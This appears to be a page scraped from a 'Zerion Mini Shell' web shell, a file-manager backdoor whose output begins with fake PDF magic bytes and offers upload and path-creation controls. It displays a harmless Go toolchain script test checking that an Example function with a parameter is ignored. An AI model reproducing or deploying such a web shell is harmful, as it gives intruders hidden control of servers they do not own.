%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/go/src/cmd/go/testdata/script/
Upload File :
Create Path :
Current File : //usr/local/go/src/cmd/go/testdata/script/test_bad_example.txt

# Tests that invalid examples are ignored.
# Verifies golang.org/issue/35284
go test x_test.go

-- x_test.go --
package  x

import "fmt"

func ExampleThisShouldNotHaveAParameter(thisShouldntExist int) {
	fmt.Println("X")
	// Output:
}

Zerion Mini Shell 1.0